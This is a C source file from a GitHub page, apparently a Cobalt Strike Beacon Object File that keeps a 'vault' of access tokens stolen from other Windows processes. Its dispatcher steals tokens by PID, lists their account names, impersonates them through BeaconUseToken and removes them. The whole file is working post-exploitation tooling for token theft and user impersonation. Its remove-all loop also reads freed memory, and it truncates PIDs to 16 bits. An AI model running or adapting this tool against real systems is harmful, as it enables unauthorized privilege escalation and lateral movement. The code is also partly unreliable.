-
Notifications
You must be signed in to change notification settings - Fork 25
/
entry.c
219 lines (197 loc) · 7.18 KB
/
entry.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#include <stdint.h>
#include <windows.h>
#include "beacon.h"
// clang-format off
WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);
DECLSPEC_IMPORT void WINAPI MSVCRT$free(void*);
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId);
WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$DuplicateTokenEx(HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);
DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupAccountSidA(LPCSTR, PSID, LPSTR, LPDWORD, LPSTR, LPDWORD, PSID_NAME_USE);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError();
// clang-format on
#define MAX_NAME 256
#define CMD_CREATE 1
#define CMD_STEAL 2
#define CMD_SHOW 3
#define CMD_USE 4
#define CMD_REMOVE 5
#define CMD_REMOVE_ALL 6
struct vault_item {
HANDLE token;
DWORD pid;
char username[MAX_NAME];
char domain[MAX_NAME];
struct vault_item *next;
};
struct vault {
struct vault_item *head;
};
struct vault *vault_create() {
struct vault *vault = (struct vault *)MSVCRT$malloc(sizeof(struct vault));
vault->head = NULL;
return vault;
}
struct vault_item *vault_insert(struct vault *vault, HANDLE handle, DWORD pid) {
struct vault_item *item = (struct vault_item *)MSVCRT$malloc(sizeof(struct vault_item));
item->token = handle;
item->pid = pid;
item->username[0] = '\0';
item->domain[0] = '\0';
item->next = vault->head;
vault->head = item;
return item;
}
struct vault_item **find_inderect(struct vault *vault, DWORD pid) {
struct vault_item **p = &vault->head;
while (*p && (*p)->pid != pid)
p = &(*p)->next;
return p;
}
struct vault_item *vault_find(struct vault *vault, DWORD pid) {
return *find_inderect(vault, pid);
}
void vault_remove(struct vault *vault, DWORD pid) {
struct vault_item **item = find_inderect(vault, pid);
if (*item) {
struct vault_item *tmp = *item;
KERNEL32$CloseHandle(tmp->token);
*item = tmp->next;
MSVCRT$free(tmp);
}
}
size_t vault_count(struct vault *vault) {
struct vault_item *i = vault->head;
size_t count = 0;
while (i) {
++count;
i = i->next;
}
return count;
}
BOOL steal_token(DWORD pid, PHANDLE hTarget) {
HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid);
if (!hProcess) {
return FALSE;
}
HANDLE hToken;
if (!ADVAPI32$OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken)) {
KERNEL32$CloseHandle(hProcess);
return FALSE;
}
// clang-format off
BOOL result = ADVAPI32$DuplicateTokenEx(hToken,
TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID |
TOKEN_QUERY |
TOKEN_DUPLICATE |
TOKEN_ASSIGN_PRIMARY,
NULL,
SecurityImpersonation, TokenPrimary, hTarget);
// clang-format on
KERNEL32$CloseHandle(hProcess);
return result;
}
void get_username(HANDLE token, struct vault_item *item) {
PTOKEN_USER user;
DWORD out;
ADVAPI32$GetTokenInformation(token, TokenUser, NULL, 0, &out);
user = (PTOKEN_USER)MSVCRT$malloc(out);
if (ADVAPI32$GetTokenInformation(token, TokenUser, user, out, &out)) {
DWORD uSize = MAX_NAME;
DWORD dSize = MAX_NAME;
SID_NAME_USE sidType;
if (!ADVAPI32$LookupAccountSidA(NULL, user->User.Sid, item->username, &uSize, item->domain, &dSize, &sidType)) {
item->username[0] = '\0';
item->domain[0] = '\0';
}
}
MSVCRT$free(user);
return;
}
struct vault_item *action_steal_token(struct vault *vault, WORD pid) {
HANDLE token;
if (steal_token(pid, &token)) {
struct vault_item *item = vault_insert(vault, token, pid);
get_username(token, item);
BeaconPrintf(CALLBACK_OUTPUT, "%i: %s\\%s", item->pid, item->domain, item->username);
return item;
} else {
BeaconPrintf(CALLBACK_ERROR, "Error: %i: %i", pid, KERNEL32$GetLastError());
}
return NULL;
}
struct vault *BeaconDataVault(datap *parser) {
// BeaconDataInt reads only 4-byte integer
// Combine the address from two int
uint64_t a1, a2;
a1 = BeaconDataInt(parser);
a2 = BeaconDataInt(parser);
return (struct vault *)(a1 + (a2 << 32));
}
void go(char *args, int len) {
datap parser;
BeaconDataParse(&parser, args, len);
int cmd = BeaconDataInt(&parser);
// BeaconPrintf(CALLBACK_OUTPUT, "Command: %i %i", len, cmd);
if (cmd == CMD_CREATE) {
struct vault *vault = vault_create();
BeaconPrintf(CALLBACK_OUTPUT, "token vault created: %p", vault);
} else if (cmd == CMD_STEAL) {
struct vault *vault = BeaconDataVault(&parser);
int pid_count = BeaconDataInt(&parser);
for (int i = 0; i < pid_count; ++i) {
WORD pid = BeaconDataShort(&parser);
action_steal_token(vault, pid);
}
} else if (cmd == CMD_SHOW) {
struct vault *vault = BeaconDataVault(&parser);
size_t items = vault_count(vault);
formatp obj;
BeaconFormatAlloc(&obj, items * (MAX_NAME + MAX_NAME + 16));
struct vault_item *item = vault->head;
while (item) {
BeaconFormatPrintf(&obj, "%i: %s\\%s\n", item->pid, item->domain, item->username);
item = item->next;
}
int len;
char *data = BeaconFormatToString(&obj, &len);
BeaconOutput(CALLBACK_OUTPUT, data, len);
BeaconFormatFree(&obj);
} else if (cmd == CMD_USE) {
struct vault *vault = BeaconDataVault(&parser);
WORD pid = BeaconDataShort(&parser);
struct vault_item *item = vault_find(vault, pid);
if (item) {
BeaconUseToken(item->token);
} else {
BeaconPrintf(CALLBACK_ERROR, "token of %i not in the vault; try to get it.", pid);
item = action_steal_token(vault, pid);
if (item) {
BeaconUseToken(item->token);
}
}
} else if (cmd == CMD_REMOVE) {
struct vault *vault = BeaconDataVault(&parser);
WORD pid = BeaconDataShort(&parser);
vault_remove(vault, pid);
BeaconPrintf(CALLBACK_OUTPUT, "removed: %i", pid);
} else if (cmd == CMD_REMOVE_ALL) {
struct vault *vault = BeaconDataVault(&parser);
size_t items = vault_count(vault);
formatp obj;
BeaconFormatAlloc(&obj, items * 32);
struct vault_item *item = vault->head;
while (item) {
BeaconFormatPrintf(&obj, "removed: %i\n", item->pid);
vault_remove(vault, item->pid);
item = item->next;
}
int len;
char *data = BeaconFormatToString(&obj, &len);
BeaconOutput(CALLBACK_OUTPUT, data, len);
BeaconFormatFree(&obj);
}
}